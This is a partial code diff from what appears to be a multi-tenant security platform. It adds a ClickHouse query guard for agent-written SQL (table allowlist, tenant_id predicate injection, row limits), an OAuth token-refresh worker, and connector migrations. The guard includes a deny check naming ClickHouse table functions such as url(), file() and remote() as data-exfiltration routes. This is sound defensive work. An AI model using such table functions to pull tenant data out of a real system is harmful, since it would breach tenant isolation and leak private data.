+ # ``SELECT 1 AS hello``) don't touch tenant data — skip.
+ return
+
+ # Classify each table reference: real allowlisted table (qualified or
+ # unqualified), CTE alias (skip), or anything else (reject).
+ real_tables: list[exp.Table] = []
+ for table in direct_tables:
+ # Reject ClickHouse table functions: url(), file(), remote(),
+ # s3(), mysql(), postgresql(), etc. They show up either as Tables
+ # whose ``name`` is empty (the function payload sits in the AST
+ # subtree) or as Tables whose backing ``this`` is an Anonymous
+ # function call.
+ if _is_table_function(table):
+ raise LakeSqlForbiddenError(
+ "ClickHouse table functions are not allowed in lake queries"
+ )
+
+ bare_name = table.name
+ if not bare_name:
+ # Non-function table without a name — degenerate; reject.
+ raise LakeSqlForbiddenError(
+ "unrecognised table reference in FROM/JOIN"
+ )
+
+ # CTE references: allowed, but skipped (no allowlist check, no
+ # predicate injection — the CTE body already has its own SELECT
+ # and is rewritten on its own visit).
+ if not table.db and bare_name in cte_aliases:
+ continue
+
+ full = _qualified_name(table)
+ if full not in ALLOWED_TABLES:
+ raise LakeSqlForbiddenError(
+ f"table '{full}' is not in the lake allowlist"
+ )
+
+ # Backfill the schema on unqualified references so the rewritten
+ # SQL is unambiguous regardless of the ClickHouse session
+ # database.
+ if not table.db:
+ table.set("db", exp.to_identifier(DEFAULT_SCHEMA))
+
+ referenced.add(full)
+ real_tables.append(table)
+
+ if not real_tables:
+ # Every direct table was a CTE alias — predicates already applied
+ # inside the CTE bodies. Nothing more to do here.
+ return
+
+ # ── Inject `tenant_id = '<uuid>'` predicates ──────────────────────
+ #
+ # When there's a single real table the predicate is unqualified
+ # (``tenant_id = '…'``). When there are joins between multiple real
+ # tables we emit one predicate per aliased table, AND-combined, so
+ # ClickHouse filters each side independently. Tables without aliases
+ # in a multi-table join get an unqualified predicate (ClickHouse will
+ # pick the unambiguous ``tenant_id`` column).
+ tid_lit = f"'{tenant_id}'"
+ aliased = [t for t in real_tables if t.alias]
+ unaliased_count = len(real_tables) - len(aliased)
+
+ if len(real_tables) == 1:
+ # Single table — unqualified predicate is the cleanest output.
+ predicate = f"tenant_id = {tid_lit}"
+ elif aliased:
+ clauses = [f"{t.alias_or_name}.tenant_id = {tid_lit}" for t in aliased]
+ if unaliased_count > 0:
+ clauses.append(f"tenant_id = {tid_lit}")
+ predicate = " AND ".join(clauses)
+ else:
+ # Multi-table join with no aliases — rare; fall back to a single
+ # unqualified predicate. ClickHouse's planner will reject the
+ # ambiguity if the join shape demands disambiguation, which is
+ # the right surface for the caller to fix.
+ predicate = f"tenant_id = {tid_lit}"
+
+ select.where(predicate, append=True, dialect="clickhouse", copy=False)
+
+
+def _direct_tables(select: exp.Select) -> list[exp.Table]:
+ """Return tables referenced by this Select's FROM and JOIN clauses.
+
+ We deliberately skip tables that live inside nested ``Select`` nodes
+ (subqueries) — those have their own enclosing Select that the caller
+ visits separately, and we don't want to double-inject predicates.
+ """
+ out: list[exp.Table] = []
+
+ # sqlglot stores the FROM clause under args["from"]. The Python
+ # attribute access form is ``select.from_`` (with trailing
+ # underscore because ``from`` is a Python keyword), but the args
+ # dict key is the bare SQL keyword. Using the wrong key here used
+ # to silently skip every FROM clause and produce queries with
+ # neither tenant predicates nor any ``referenced_tables`` audit
+ # entry — a tenant-isolation bug.
+ from_expr = select.args.get("from")
+ if from_expr is not None:
+ for table in from_expr.find_all(exp.Table):
+ if _is_inside_subquery(table, select):
+ continue
+ out.append(table)
+
+ for join in select.args.get("joins") or []:
+ for table in join.find_all(exp.Table):
+ if _is_inside_subquery(table, select):
+ continue
+ out.append(table)
+
+ return out
+
+
+def _is_inside_subquery(node: exp.Expression, owning_select: exp.Select) -> bool:
+ """True if ``node`` lives inside a Select that isn't ``owning_select``."""
+ parent = node.parent
+ while parent is not None:
+ if isinstance(parent, exp.Select):
+ return parent is not owning_select
+ parent = parent.parent
+ return False
+
+
+def _is_table_function(table: exp.Table) -> bool:
+ """Detect ClickHouse table-valued functions in FROM/JOIN positions.
+
+ sqlglot represents ``FROM url('https://x', JSONEachRow)`` as a
+ ``Table`` node whose ``this`` is a function-call node (or whose
+ rendered ``sql()`` carries a function call). We treat those as
+ forbidden because they let an attacker exfiltrate data, hit
+ untrusted endpoints, or read foreign databases.
+ """
+ inner = table.this
+ if isinstance(inner, (exp.Anonymous, exp.Func)):
+ return True
+ # Some dialects parse ``url(…)`` with an empty Table.name and a
+ # function-shaped child elsewhere. Catch those by scanning direct
+ # children for Anonymous calls.
+ for child in table.find_all(exp.Anonymous):
+ # ``find_all`` includes ``table`` itself; skip if the only hit is
+ # the table node masquerading as a function.
+ if child is not table:
+ return True
+ return False
+
+
+def _qualified_name(table: exp.Table) -> str:
+ """Return ``db.name`` for an allowlisted Table node.
+
+ Unqualified references default to :data:`DEFAULT_SCHEMA` so an agent
+ can write ``FROM raw_events`` and still hit the allowlist. The
+ returned string is always lowercase to keep allowlist comparisons
+ case-insensitive.
+ """
+ db = (table.db or DEFAULT_SCHEMA).lower()
+ name = table.name.lower()
+ return f"{db}.{name}"
+
+
+def _clamp_outer_limit(node: exp.Expression, cap: int) -> None:
+ """Force the outer query to honour a row cap.
+
+ For ``WITH … SELECT …`` we apply the limit to the underlying SELECT
+ inside the CTE wrapper. For ``UNION`` we apply it to the union
+ itself. For a bare ``SELECT`` we apply it directly.
+
+ If the caller already specified a smaller LIMIT we keep it (no point
+ in expanding their request). If their LIMIT is larger or absent we
+ replace it with the cap.
+ """
+ target: exp.Expression = node
+ if isinstance(node, exp.With) and isinstance(node.this, (exp.Select, exp.Union)):
+ target = node.this
+
+ if not isinstance(target, (exp.Select, exp.Union)):
+ # Defensive: caller already validated the root, but if a future
+ # expansion misses a case we'd rather leave the SQL alone than
+ # corrupt it.
+ return
+
+ existing = target.args.get("limit")
+ if existing is not None:
+ # Try to read the current limit literal; if it's an expression
+ # (rare — most ClickHouse SQL uses literal limits) we leave it
+ # alone since clamping a non-literal would be unsound.
+ current = existing.expression
+ if isinstance(current, exp.Literal) and current.is_int:
+ current_value = int(current.this)
+ if current_value <= cap:
+ return # caller asked for fewer rows; keep their value
+
+ target.set("limit", exp.Limit(expression=exp.Literal.number(cap)))
diff --git a/services/api/app/workers/__init__.py b/services/api/app/workers/__init__.py
new file mode 100644
index 000000000..50e04f8cf
--- /dev/null
+++ b/services/api/app/workers/__init__.py
@@ -0,0 +1,15 @@
+"""Background workers that run inside the API process.
+
+These workers are started from :func:`app.main.lifespan` and live inside
+the API event loop. They are intentionally **not** APScheduler jobs —
+the API has no scheduler dependency and we don't want to introduce one
+just for periodic loops. Each worker is a long-running ``asyncio.Task``
+that owns its own cadence and shutdown semantics.
+
+Workers currently shipped:
+
+* :mod:`oauth_refresh` — auto-rotates expiring OAuth access tokens for
+ every connector provisioned via the hosted ``/oauth/start`` flow.
+"""
+
+from __future__ import annotations
diff --git a/services/api/app/workers/oauth_refresh.py b/services/api/app/workers/oauth_refresh.py
new file mode 100644
index 000000000..15079dd17
--- /dev/null
+++ b/services/api/app/workers/oauth_refresh.py
@@ -0,0 +1,548 @@
+"""Auto-refresh worker for OAuth-provisioned connector instances.
+
+Workstream 5 of the AI Stack & Data Integration plan calls for the
+platform to keep ``oauth_provisioned`` connectors healthy without
+operator intervention. The hosted ``/oauth/start`` flow stores
+``access_token`` + (optional) ``refresh_token`` in ``connector.auth_config``
+under the credential vault, plus an absolute ``expires_at`` timestamp.
+
+This worker scans for instances whose access token is about to expire
+(``LEAD_TIME`` seconds before ``expires_at``) and exchanges the refresh
+token for a fresh access_token using the same per-tenant
+``OAuthAppCredential`` that powered the original authorize call.
+
+Failure model:
+
+* Network / 5xx — increment ``oauth_refresh_failures``, leave the row
+ alone otherwise; the next tick will retry.
+* 4xx with ``invalid_grant`` (refresh token revoked) — same counter,
+ but now the operator has to re-consent. The catalog UI shows
+ ``health_status='unhealthy'`` once the counter crosses
+ :pyattr:`Settings.OAUTH_REFRESH_ALARM_THRESHOLD`.
+
+The worker runs as a single ``asyncio.Task`` started from the API's
+``lifespan`` hook. It owns its own DB session (``AsyncSessionLocal``)
+and is safe to run as a singleton — providers tolerate concurrent
+refresh attempts but every extra exchange burns a refresh-token rotation
+on providers that rotate (e.g. Salesforce, Auth0).
+"""
+
+from __future__ import annotations
+
+import asyncio
+import logging
+from collections.abc import Mapping
+from datetime import UTC, datetime, timedelta
+from typing import Any
+
+import httpx
+from sqlalchemy import select, update
+from sqlalchemy.ext.asyncio import AsyncSession
+
+from app.core.config import settings
+from app.db.database import AsyncSessionLocal
+from app.models.connector import Connector
+from app.models.oauth import OAuthAppCredential
+from app.security.credential_vault import CredentialVaultError, get_vault
+
+logger = logging.getLogger(__name__)
+
+
+# Status string mirrored from the connectors API. Kept here as a private
+# constant so the worker doesn't import the API endpoint module (which
+# would be a layering violation — workers are below API routers).
+_HEALTH_UNHEALTHY = "unhealthy"
+
+
+class _CatalogResolver:
+ """Resolves OAuth ``token_url`` + scopes from the connector catalog.
+
+ The hosted-OAuth callback uses ``_fetch_catalog_entry`` which talks
+ to the connectors microservice. We reuse the same import path here
+ so the worker and the wizard agree on hints. Importing lazily inside
+ methods keeps the worker module loadable even when the catalog
+ helpers aren't on the path (tests, alembic, etc.).
+ """
+
+ @staticmethod
+ async def hints_for(connector_type: str) -> dict[str, Any]:
+ """Return the ``oauth`` hints block for ``connector_type``.
+
+ Empty dict when the catalog is unreachable or the entry doesn't
+ ship hints — the caller falls back to the per-tenant
+ ``OAuthAppCredential.token_url`` override.
+ """
+ from app.api.v1.endpoints.connectors import _fetch_catalog
+
+ try:
+ catalog = await _fetch_catalog()
+ except Exception as exc: # pragma: no cover - logged + bubbled to fallback
+ logger.warning(
+ "oauth_refresh.catalog_unreachable connector_type=%s err=%s",
+ connector_type,
+ type(exc).__name__,
+ )
+ return {}
+ for entry in catalog:
+ if not isinstance(entry, dict):
+ continue
+ if entry.get("name") == connector_type:
+ hints = entry.get("oauth") or {}
+ return hints if isinstance(hints, dict) else {}
+ return {}
+
+
+def _resolve_token_url(
+ app_credential: OAuthAppCredential, hints: Mapping[str, Any]
+) -> str | None:
+ """Mirror of :func:`oauth._resolve_token_url` for non-HTTP context.
+
+ Returns ``None`` instead of raising — the worker logs and skips so
+ one mis-configured tenant can't poison the loop for everyone else.
+ """
+ url = (app_credential.token_url or hints.get("token_url") or "").strip()
+ return url or None
+
+
+def _parse_expires_at(value: Any) -> datetime | None:
+ """Best-effort parse of an ``expires_at`` field stored in auth_config.
+
+ The hosted callback writes ISO-8601 with ``+00:00``; older rows
+ (pre-WS5) might be missing or malformed. Anything we can't parse is
+ treated as "expired" so the worker attempts a refresh on next tick.
+ """
+ if not isinstance(value, str) or not value:
+ return None
+ try:
+ # ``fromisoformat`` accepts the ``+00:00`` tail emitted by our
+ # callback; ``Z`` is patched in to be safe in case a future
+ # provider response slips through with the trailing ``Z``.
+ normalised = value.replace("Z", "+00:00")
+ parsed = datetime.fromisoformat(normalised)
+ except ValueError:
+ return None
+ if parsed.tzinfo is None:
+ parsed = parsed.replace(tzinfo=UTC)
+ return parsed
+
+
+async def _select_due_connectors(
+ db: AsyncSession, *, lead_time_s: int
+) -> list[Connector]:
+ """Find every OAuth-provisioned connector that needs a refresh.
+
+ "Due" means one of:
+
+ * ``auth_config`` is empty / unparseable (e.g. legacy row, or vault
+ key rotation in flight) — we'll attempt a no-op refresh and let
+ the failure path mark it.
+ * ``expires_at`` exists and is within ``LEAD_TIME`` seconds of now.
+
+ Connectors with no refresh token are skipped at the row-evaluation
+ step so the SELECT stays cheap.
+ """
+ cutoff = datetime.now(UTC) + timedelta(seconds=lead_time_s)
+
+ # ``auth_config`` is JSONB encrypted at the application layer, so we
+ # can't push expires_at filtering into the DB. We pull all
+ # OAuth-provisioned rows and filter in Python — the working set is
+ # tiny (one row per tenant connector instance).
+ stmt = (
+ select(Connector)
+ .where(Connector.oauth_provisioned.is_(True))
+ .where(Connector.is_enabled.is_(True))
+ )
+ result = await db.execute(stmt)
+ candidates: list[Connector] = list(result.scalars().all())
+
+ due: list[Connector] = []
+ vault = get_vault()
+ for conn in candidates:
+ try:
+ decrypted = vault.decrypt_dict(conn.auth_config or {})
+ except CredentialVaultError as exc:
+ logger.warning(
+ "oauth_refresh.decrypt_failed connector_id=%s tenant=%s err=%s",
+ conn.id,
+ conn.tenant_id,
+ type(exc).__name__,
+ )
+ # We can't decrypt → can't refresh. Surface as a refresh
+ # failure so the operator sees the row going unhealthy.
+ due.append(conn)
+ continue
+
+ refresh_token = decrypted.get("refresh_token")
+ if not refresh_token:
+ # No refresh token means we can't rotate even if we wanted
+ # to. Skip silently — the original token will keep working
+ # until its natural expiry, at which point the connector
+ # poll will fail and the scheduler's health bookkeeping
+ # marks it degraded.
+ continue
+
+ expires_at = _parse_expires_at(decrypted.get("expires_at"))
+ if expires_at is None:
+ # No / malformed expires_at — refresh defensively. We don't
+ # want a connector silently running on an expired token.
+ due.append(conn)
+ continue
+
+ if expires_at <= cutoff:
+ due.append(conn)
+
+ return due
+
+
+async def _refresh_one(
+ db: AsyncSession,
+ *,
+ connector: Connector,
+ timeout_s: float,
+ alarm_threshold: int,
+) -> bool:
+ """Attempt to refresh ``connector``'s access token. Returns success."""
+ vault = get_vault()
+ tenant_id = connector.tenant_id
+ connector_type = connector.connector_type
+
+ # 1. Decrypt the connector's auth_config to get the refresh_token.
+ try:
+ decrypted = vault.decrypt_dict(connector.auth_config or {})
+ except CredentialVaultError as exc:
+ logger.warning(
+ "oauth_refresh.decrypt_failed connector_id=%s tenant=%s err=%s",
+ connector.id,
+ tenant_id,
+ type(exc).__name__,
+ )
+ await _record_failure(
+ db,
+ connector=connector,
+ alarm_threshold=alarm_threshold,
+ reason="decrypt_failed",
+ )
+ return False
+
+ refresh_token = decrypted.get("refresh_token")
+ if not refresh_token:
+ # Race with selection (tenant rotated config between SELECT and
+ # this step). Treat as a soft skip, not a failure.
+ return False
+
+ # 2. Resolve the per-tenant OAuthAppCredential for client_id /
+ # client_secret. Without this we can't talk to the provider.
+ app_stmt = select(OAuthAppCredential).where(
+ OAuthAppCredential.tenant_id == tenant_id,
+ OAuthAppCredential.connector_type == connector_type,
+ )
+ app_credential: OAuthAppCredential | None = (
+ await db.execute(app_stmt)
+ ).scalar_one_or_none()
+ if app_credential is None:
+ logger.warning(
+ "oauth_refresh.app_credential_missing connector_id=%s tenant=%s connector_type=%s",
+ connector.id,
+ tenant_id,
+ connector_type,
+ )
+ await _record_failure(
+ db,
+ connector=connector,
+ alarm_threshold=alarm_threshold,
+ reason="app_credential_missing",
+ )
+ return False
+
+ try:
+ client_secret = vault.decrypt(app_credential.client_secret_vault)
+ except CredentialVaultError as exc:
+ logger.warning(
+ "oauth_refresh.client_secret_decrypt_failed connector_id=%s tenant=%s err=%s",
+ connector.id,
+ tenant_id,
+ type(exc).__name__,
+ )
+ await _record_failure(
+ db,
+ connector=connector,
+ alarm_threshold=alarm_threshold,
+ reason="client_secret_decrypt_failed",
+ )
+ return False
+
+ # 3. Resolve token_url from the per-tenant override or catalog hints.
+ hints = await _CatalogResolver.hints_for(connector_type)
+ token_url = _resolve_token_url(app_credential, hints)
+ if not token_url:
+ logger.warning(
+ "oauth_refresh.token_url_missing connector_id=%s tenant=%s connector_type=%s",
+ connector.id,
+ tenant_id,
+ connector_type,
+ )
+ await _record_failure(
+ db,
+ connector=connector,
+ alarm_threshold=alarm_threshold,
+ reason="token_url_missing",
+ )
+ return False
+
+ # 4. POST to the token endpoint with grant_type=refresh_token.
+ body: dict[str, str] = {
+ "grant_type": "refresh_token",
+ "refresh_token": str(refresh_token),
+ "client_id": app_credential.client_id,
+ "client_secret": client_secret,
+ }
+ try:
+ async with httpx.AsyncClient(timeout=timeout_s) as client:
+ resp = await client.post(
+ token_url,
+ data=body,
+ headers={
+ "Accept": "application/json",
+ "Content-Type": "application/x-www-form-urlencoded",
+ },
+ )
+ resp.raise_for_status()
+ except httpx.HTTPStatusError as exc:
+ detail = ""
+ try:
+ detail = exc.response.text[:256]
+ except Exception: # pragma: no cover
+ pass
+ logger.warning(
+ "oauth_refresh.token_exchange_failed connector_id=%s tenant=%s status=%s body=%s",
+ connector.id,
+ tenant_id,
+ exc.response.status_code,
+ detail,
+ )
+ await _record_failure(
+ db,
+ connector=connector,
+ alarm_threshold=alarm_threshold,
+ reason=f"http_{exc.response.status_code}",
+ )
+ return False
+ except httpx.HTTPError as exc:
+ logger.warning(
+ "oauth_refresh.token_exchange_unreachable connector_id=%s tenant=%s err=%s",
+ connector.id,
+ tenant_id,
+ type(exc).__name__,
+ )
+ await _record_failure(
+ db,
+ connector=connector,
+ alarm_threshold=alarm_threshold,
+ reason="unreachable",
+ )
+ return False
+
+ try:
+ token_payload = resp.json()
+ except ValueError:
+ logger.warning(
+ "oauth_refresh.token_response_malformed connector_id=%s tenant=%s",
+ connector.id,
+ tenant_id,
+ )
+ await _record_failure(
+ db,
+ connector=connector,
+ alarm_threshold=alarm_threshold,
+ reason="malformed_response",
+ )
+ return False
+
+ new_access_token = token_payload.get("access_token")
+ if not new_access_token:
+ logger.warning(
+ "oauth_refresh.no_access_token connector_id=%s tenant=%s",
+ connector.id,
+ tenant_id,
+ )
+ await _record_failure(
+ db,
+ connector=connector,
+ alarm_threshold=alarm_threshold,
+ reason="no_access_token",
+ )
+ return False
+
+ # 5. Build a fresh auth_payload — keep the existing refresh_token
+ # when the provider rotates only access_token (Auth0 default), and
+ # promote the rotated one when present (Salesforce, GitHub Apps).
+ auth_payload: dict[str, Any] = dict(decrypted)
+ auth_payload["access_token"] = new_access_token
+ if "refresh_token" in token_payload and token_payload["refresh_token"]:
+ auth_payload["refresh_token"] = token_payload["refresh_token"]
+ if "id_token" in token_payload:
+ auth_payload["id_token"] = token_payload["id_token"]
+ if "token_type" in token_payload:
+ auth_payload["token_type"] = token_payload["token_type"]
+
+ expires_in = token_payload.get("expires_in")
+ if isinstance(expires_in, (int, float)) and expires_in > 0:
+ auth_payload["expires_at"] = (
+ datetime.now(UTC) + timedelta(seconds=int(expires_in))
+ ).isoformat()
+ else:
+ # Provider didn't tell us — drop the stale value so we refresh
+ # again on the very next tick rather than running on a token of
+ # unknown lifetime.
+ auth_payload.pop("expires_at", None)
+
+ encrypted = vault.encrypt_dict(auth_payload)
+
+ now = datetime.now(UTC)
+ # Reset failure counter + bookkeeping. Restore healthy status only
+ # if we were the ones who flipped it to ``unhealthy`` — leave other
+ # health states (e.g. "degraded" from the connectors scheduler)
+ # alone. The connectors poll will reconcile on the next tick.
+ new_status = (
+ "healthy"
+ if connector.health_status == _HEALTH_UNHEALTHY
+ else connector.health_status
+ )
+ await db.execute(
+ update(Connector)
+ .where(Connector.id == connector.id)
+ .values(
+ auth_config=encrypted,
+ oauth_refresh_failures=0,
+ oauth_last_refresh_at=now,
+ health_status=new_status,
+ updated_at=now,
+ )
+ )
+ await db.commit()
+
+ logger.info(
+ "oauth_refresh.success connector_id=%s tenant=%s connector_type=%s",
+ connector.id,
+ tenant_id,
+ connector_type,
+ )
+ return True
+
+
+async def _record_failure(
+ db: AsyncSession,
+ *,
+ connector: Connector,
+ alarm_threshold: int,
+ reason: str,
+) -> None:
+ """Bump ``oauth_refresh_failures`` and trip the alarm at threshold.
+
+ The threshold is **inclusive** — at ``alarm_threshold`` consecutive
+ failures we flip ``health_status`` to ``unhealthy`` so the
+ connectors UI surfaces the red badge and the catalog API can route
+ the operator to the re-consent flow.
+ """
+ new_count = (connector.oauth_refresh_failures or 0) + 1
+ values: dict[str, Any] = {
+ "oauth_refresh_failures": new_count,
+ "updated_at": datetime.now(UTC),
+ }
+ if new_count >= alarm_threshold:
+ values["health_status"] = _HEALTH_UNHEALTHY
+ logger.error(
+ "oauth_refresh.alarm connector_id=%s tenant=%s connector_type=%s "
+ "failures=%d reason=%s — flipping health_status=unhealthy",
+ connector.id,
+ connector.tenant_id,
+ connector.connector_type,
+ new_count,
+ reason,
+ )
+
+ await db.execute(
+ update(Connector).where(Connector.id == connector.id).values(**values)
+ )
+ await db.commit()
+
+
+async def run_once() -> dict[str, int]:
+ """Execute a single pass of the refresh worker.
+
+ Returns a stats dict useful for tests and observability:
+ ``{"checked": N, "refreshed": M, "failed": K}``.
+ """
+ stats = {"checked": 0, "refreshed": 0, "failed": 0}
+ async with AsyncSessionLocal() as db:
+ due = await _select_due_connectors(
+ db, lead_time_s=settings.OAUTH_REFRESH_LEAD_TIME_SECONDS
+ )
+ stats["checked"] = len(due)
+ for conn in due:
+ ok = await _refresh_one(
+ db,
+ connector=conn,
+ timeout_s=settings.OAUTH_REFRESH_HTTP_TIMEOUT_SECONDS,
+ alarm_threshold=settings.OAUTH_REFRESH_ALARM_THRESHOLD,
+ )
+ if ok:
+ stats["refreshed"] += 1
+ else:
+ stats["failed"] += 1
+ return stats
+
+
+async def run_forever(*, stop_event: asyncio.Event | None = None) -> None:
+ """Run the refresh loop until ``stop_event`` is set.
+
+ The loop cadence is :pyattr:`Settings.OAUTH_REFRESH_INTERVAL_SECONDS`.
+ Cancellation (ASGI shutdown) is the canonical exit path; the
+ optional ``stop_event`` is provided so tests can stop the loop
+ deterministically without raising ``CancelledError``.
+ """
+ interval = max(5, settings.OAUTH_REFRESH_INTERVAL_SECONDS)
+ logger.info(
+ "oauth_refresh.started interval=%ds lead=%ds threshold=%d",
+ interval,
+ settings.OAUTH_REFRESH_LEAD_TIME_SECONDS,
+ settings.OAUTH_REFRESH_ALARM_THRESHOLD,
+ )
+ try:
+ while True:
+ if stop_event is not None and stop_event.is_set():
+ break
+ try:
+ stats = await run_once()
+ if stats["checked"]:
+ logger.info(
+ "oauth_refresh.tick checked=%d refreshed=%d failed=%d",
+ stats["checked"],
+ stats["refreshed"],
+ stats["failed"],
+ )
+ except Exception as exc: # noqa: BLE001
+ # Never let a transient failure kill the loop — the
+ # whole point of this worker is durability. The next
+ # tick gets a fresh DB session.
+ logger.exception(
+ "oauth_refresh.tick_failed err=%s", type(exc).__name__
+ )
+ try:
+ if stop_event is not None:
+ await asyncio.wait_for(stop_event.wait(), timeout=interval)
+ else:
+ await asyncio.sleep(interval)
+ except asyncio.TimeoutError:
+ continue
+ except asyncio.CancelledError:
+ logger.info("oauth_refresh.cancelled — shutting down cleanly")
+ raise
+ finally:
+ logger.info("oauth_refresh.stopped")
+
+
+__all__ = [
+ "run_once",
+ "run_forever",
+]
diff --git a/services/api/migrations/029_connector_event_tracking.sql b/services/api/migrations/029_connector_event_tracking.sql
new file mode 100644
index 000000000..1e883bc60
--- /dev/null
+++ b/services/api/migrations/029_connector_event_tracking.sql
@@ -0,0 +1,29 @@
+-- Workstream 1 (verify-data-flowing) + Workstream 5 (freshness SLO) +
+-- Workstream 6 (universal capture) groundwork.
+--
+-- last_event_at: timestamp of the most recently ingested raw event for
+-- this connector, distinct from `last_sync` (which ticks
+-- every poll cycle, including empty polls). This is what
+-- the onboarding "verify data flowing" screen polls and
+-- what feeds the freshness-SLO badge in the UI.
+--
+-- last_event_kind: short label for the event source ("alert", "audit",
+-- "webhook", "push") so the UI can render a meaningful
+-- "first event landed" preview without joining the raw
+-- events table.
+--
+-- ingest_token: opaque per-connector token used by services/ingest's
+-- `/v1/inbox/{tenant_token}` push endpoint. Generating
+-- it lazily (NULL until first call to /push/refresh)
+-- keeps existing rows valid.
+ALTER TABLE connectors
+ ADD COLUMN IF NOT EXISTS last_event_at TIMESTAMPTZ,
+ ADD COLUMN IF NOT EXISTS last_event_kind TEXT,
+ ADD COLUMN IF NOT EXISTS ingest_token TEXT UNIQUE;
+
+CREATE INDEX IF NOT EXISTS connectors_last_event_at_idx
+ ON connectors (tenant_id, last_event_at DESC NULLS LAST);
+
+CREATE INDEX IF NOT EXISTS connectors_ingest_token_idx
+ ON connectors (ingest_token)
+ WHERE ingest_token IS NOT NULL;
diff --git a/services/api/migrations/030_oauth_app_credentials.sql b/services/api/migrations/030_oauth_app_credentials.sql
new file mode 100644
index 000000000..c3aafcc23
--- /dev/null
+++ b/services/api/migrations/030_oauth_app_credentials.sql
@@ -0,0 +1,83 @@
+-- Workstream 2: hosted OAuth one-click.
+--
+-- Two tables backing /api/v1/oauth/start and /api/v1/oauth/callback:
+--
+-- oauth_app_credentials
+-- Per-tenant, per-connector-class OAuth client_id / client_secret. We
+-- do not bake a single shared client into the platform; each tenant
+-- registers their own OAuth app (or operator-side admin pre-fills it
+-- for a managed deployment). client_secret_vault is opaque ciphertext
+-- produced by services/api/app/security/credential_vault.py and is
+-- never returned over the wire in plaintext.
+--
+-- oauth_states
+-- Short-lived nonces used as the OAuth ``state`` parameter to defend
+-- against CSRF and to thread the originating tenant + connector +
+-- redirect intent through the round-trip to the upstream provider.
+-- Rows TTL out at 10 minutes; a row is also deleted on first
+-- successful callback (single-use).
+
+BEGIN;
+
+CREATE TABLE IF NOT EXISTS oauth_app_credentials (
+ tenant_id UUID NOT NULL REFERENCES tenants(id) ON DELETE CASCADE,
+ connector_type VARCHAR(50) NOT NULL,
+ -- Public half of the OAuth app registration. Safe to return to the
+ -- UI so operators can audit what credential is wired in.
+ client_id TEXT NOT NULL,
+ -- Encrypted client secret. Format: vault:v1:<base64> — see
+ -- services/api/app/security/credential_vault.py.
+ client_secret_vault TEXT NOT NULL,
+ -- Optional override of the default authorize/token URLs for
+ -- on-prem providers (Atlassian Data Center, GitHub Enterprise
+ -- Server, internal Okta orgs). NULL means use the default from
+ -- the connector's OAuthHints.
+ authorize_url TEXT,
+ token_url TEXT,
+ -- Optional scope downscoping. NULL means use the default scopes
+ -- from the connector's OAuthHints.
+ scopes JSONB,
+ created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
+ updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
+ PRIMARY KEY (tenant_id, connector_type)
+);
+
+CREATE INDEX IF NOT EXISTS oauth_app_credentials_tenant_idx
+ ON oauth_app_credentials (tenant_id);
+
+CREATE TABLE IF NOT EXISTS oauth_states (
+ -- The actual ``state`` value we hand to the upstream provider.
+ -- Random 32-byte URL-safe token; we look it up on callback.
+ state TEXT PRIMARY KEY,
+ tenant_id UUID NOT NULL REFERENCES tenants(id) ON DELETE CASCADE,
+ user_id UUID REFERENCES users(id) ON DELETE CASCADE,
+ connector_type VARCHAR(50) NOT NULL,
+ -- Optional connector_id when re-authing an existing instance.
+ -- NULL means the callback should create a new connector row.
+ connector_id UUID REFERENCES connectors(id) ON DELETE CASCADE,
+ -- PKCE code_verifier for providers that mandate it (e.g. Atlassian).
+ code_verifier TEXT,
+ -- Free-form hint that becomes part of the connector_config so the
+ -- callback knows what extras to persist (e.g. {"organization": "acme"}
+ -- for GitHub, {"admin_email": "..."} for Google Workspace).
+ extras JSONB NOT NULL DEFAULT '{}'::jsonb,
+ -- Where to redirect the operator after the callback completes.
+ -- Defaults to /onboarding so the verify-data-flowing screen lights up.
+ return_to TEXT NOT NULL DEFAULT '/onboarding',
+ created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
+ expires_at TIMESTAMPTZ NOT NULL DEFAULT NOW() + INTERVAL '10 minutes'
+);
+
+CREATE INDEX IF NOT EXISTS oauth_states_expires_idx
+ ON oauth_states (expires_at);
+
+-- Connectors created via hosted OAuth need somewhere to stash the
+-- refresh_token so the auto-refresh worker (Workstream 5) can rotate
+-- access_tokens without operator involvement. The cleanest place is
+-- the existing auth_config JSON, but we want a stable, indexable
+-- pointer for "was this connector provisioned through hosted OAuth?"
+-- so the UI can render the right (read-only) credential view.
+ALTER TABLE connectors
+ ADD COLUMN IF NOT EXISTS oauth_provisioned BOOLEAN NOT NULL DEFAULT FALSE;
+
+COMMIT;
diff --git a/services/api/migrations/031_connector_allowed_capabilities.sql b/services/api/migrations/031_connector_allowed_capabilities.sql
new file mode 100644
index 000000000..2d6346629
--- /dev/null
+++ b/services/api/migrations/031_connector_allowed_capabilities.sql
@@ -0,0 +1,26 @@
+-- Migration 031: Per-instance capability downscoping (AI Stack plan, Workstream 4).
+--
+-- Each connector class declares the set of actions it *could* perform via the
+-- new ``capabilities()`` classmethod (e.g. ``PULL_ALERTS``, ``ISOLATE_HOST``).
+-- That declaration is global to the connector type. Operators frequently want
+-- to install a powerful connector (e.g. CrowdStrike with ``ISOLATE_HOST``)
+-- but only authorize a *subset* of those capabilities for the agent — for
+-- example, "read alerts but never let the agent isolate a host".
+--
+-- ``allowed_capabilities`` is that per-instance allow-list. NULL means "no
+-- downscoping — agent may use everything the class declares". A non-NULL
+-- JSON array is treated as the canonical allow-list, and any capability not
+-- in the array is filtered out by ``BaseConnector.effective_capabilities()``.
+--
+-- The agent layer reads ``effective_capabilities()`` (not ``capabilities()``)
+-- when surfacing tools to the LLM via ``GET /api/v1/agents/tools``.
+
+ALTER TABLE connectors
+ ADD COLUMN IF NOT EXISTS allowed_capabilities JSONB;
+
+-- Backfill nothing: existing connectors keep NULL, which means
+-- "agent may use everything the class declares" — same behavior as before
+-- this column existed.
+
+COMMENT ON COLUMN connectors.allowed_capabilities IS
+ 'Per-instance capability downscoping. NULL = use class default. JSON array of capability strings (e.g. ["pull_alerts","query_logs"]) restricts the agent to that subset.';
diff --git a/services/api/migrations/032_connector_self_healing.sql b/services/api/migrations/032_connector_self_healing.sql
new file mode 100644
index 000000000..60949547b
--- /dev/null
+++ b/services/api/migrations/032_connector_self_healing.sql
@@ -0,0 +1,60 @@
+-- 032_connector_self_healing.sql
+-- Workstream 5: self-healing bookkeeping for the connectors table.
+--
+-- Adds the four columns the auto-OAuth-refresh worker, the
+-- backfill-on-outage worker, and the freshness-SLO badge UI need to do
+-- their jobs without inferring state from the existing
+-- last_sync / last_health_check signals (which both move on every
+-- poll, including empty polls).
+--
+-- oauth_refresh_failures : Consecutive refresh failures for OAuth
